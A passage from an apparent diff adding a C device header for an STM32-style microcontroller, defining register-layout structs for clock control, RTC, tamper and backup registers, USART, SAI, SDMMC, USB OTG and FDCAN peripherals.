Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ + uint32_t RESERVED2[17]; /*!< RESERVED2, Address offset: 0x30 - 0x70 */ + __IO uint32_t OTGHSPHYCR; /*!< SYSCFG USB OTG_HS PHY register Address offset: 0x74 */ + uint32_t RESERVED3; /*!< RESERVED3, Address offset: 0x78 */ + __IO uint32_t OTGHSPHYTUNER2; /*!< SYSCFG USB OTG_HS PHY tune register 2 Address offset: 0x7C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 